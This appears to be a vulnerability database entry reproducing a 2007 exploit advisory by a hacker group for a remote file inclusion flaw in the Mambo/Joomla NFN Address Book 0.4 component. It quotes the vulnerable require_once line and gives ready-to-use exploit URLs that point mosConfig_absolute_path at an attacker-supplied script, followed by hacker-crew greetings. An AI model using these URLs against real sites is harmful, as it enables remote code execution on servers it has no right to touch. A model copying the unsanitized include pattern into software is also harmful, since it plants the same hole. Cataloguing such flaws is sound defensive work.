Mambo Component nfnaddressbook 0.4 Remote File Inclusion Vulnerability

🗓️ 22 Mar 2007 00:00:00Reported by RootType

Mambo Component nfnaddressbook 0.4 Remote File Inclusion Vulnerability. Manages contacts, hides private contacts, not owned by Mambo user


                                                ######################################################
#
#&nbsp;MAMBO&nbsp;&amp;&nbsp;Joomla&nbsp;NFN&nbsp;Address&nbsp;Book&nbsp;v0.4&nbsp;(nfnaddressbook.php)&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilities
#
######################################################
#
#&nbsp;script&nbsp;:&nbsp;http://mamboxchange.com/frs/download.php/8191/com_nfn_addressbook.zip
#
######################################################
#
#&nbsp;About&nbsp;:&nbsp;The&nbsp;NFN&nbsp;Address&nbsp;Book&nbsp;manages&nbsp;lists&nbsp;of&nbsp;contacts&nbsp;that&nbsp;can&nbsp;be&nbsp;split&nbsp;into&nbsp;groups&nbsp;and&nbsp;allows&nbsp;for&nbsp;hiding&nbsp;of&nbsp;private&nbsp;contacts.
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Unlike&nbsp;other&nbsp;address&nbsp;books&nbsp;it&nbsp;is&nbsp;owned&nbsp;by&nbsp;a&nbsp;Mambo&nbsp;user&nbsp;but&nbsp;the&nbsp;contacts&nbsp;are&nbsp;NOT&nbsp;Mambo&nbsp;users.
#
######################################################
#
#&nbsp;file&nbsp;:&nbsp;&nbsp;nfnaddressbook.php
#
######################################################
#
#&nbsp;Found&nbsp;by&nbsp;&amp;&nbsp;Contact&nbsp;:&nbsp;Cold&nbsp;z3ro&nbsp;,&nbsp;[email protected]&nbsp;,&nbsp;http://hack-teach.com/&nbsp;,&nbsp;Team&nbsp;Hell&nbsp;Crew
#
######################################################
#
#&nbsp;require_once&nbsp;(&nbsp;$mosConfig_absolute_path&nbsp;.&nbsp;&nbsp;'/components/com_'._MISC_DB_PREFIX.'addressbook/functions.php'&nbsp;);
#
######################################################
#&nbsp;Exploit&nbsp;:
#
#&nbsp;&nbsp;&nbsp;this&nbsp;usege&nbsp;:&nbsp;http://www.example.com/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or&nbsp;:&nbsp;http://www.example.com/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=Evil-script?
#
######################################################


----&nbsp;&nbsp;GreeTz:&nbsp;|MoHaNdKo|&nbsp;&nbsp;|Cold&nbsp;One|&nbsp;&nbsp;|Cold&nbsp;ThreE|&nbsp;|Viper&nbsp;Hacker|&nbsp;|The&nbsp;Wolf&nbsp;KSA|&nbsp;|o0xxdark0o|&nbsp;|OrGanza|&nbsp;|H@mLiT|&nbsp;|Snake12|&nbsp;|Root&nbsp;Shell|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Metoovit|&nbsp;|Fucker_net|&nbsp;|Rageb|&nbsp;|CoDeR|&nbsp;|HuGe|&nbsp;|Str0ke|&nbsp;|Dr.TaiGaR|&nbsp;|BLacK&nbsp;HackErD|&nbsp;|JEeN&nbsp;HacKer|&nbsp;|Nazy&nbsp;L!unx|&nbsp;|KURTEFENDY|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|Spid1r&nbsp;Net|&nbsp;|Big&nbsp;Hacker|&nbsp;|Hacccr|&nbsp;|hacoor|&nbsp;||&nbsp;|Geniral&nbsp;C|&nbsp;|Mr.TyrAnT|&nbsp;|Zax|&nbsp;|Zooz|&nbsp;|&nbsp;Al&nbsp;3afreat&nbsp;|&nbsp;|The-Falcon-Ksa|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;The&nbsp;Sniper&nbsp;|&nbsp;.&nbsp;|||&nbsp;Team&nbsp;Hell&nbsp;|||&nbsp;|&nbsp;DearMan&nbsp;|&nbsp;|Pro&nbsp;Hacker|&nbsp;|&nbsp;020&nbsp;|&nbsp;|&nbsp;abdulla00&nbsp;&quot;&nbsp;alz3eem&quot;&nbsp;|&nbsp;|&nbsp;The_Viper&nbsp;|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;All&nbsp;i&nbsp;know


#Big&nbsp;Thx&nbsp;For&nbsp;:&nbsp;www.4azhar.com&nbsp;,&nbsp;Viva&nbsp;My&nbsp;HomeLand&nbsp;Palestine

22 Mar 2007 00:00Current

7.1High risk

Vulners AI Score7.1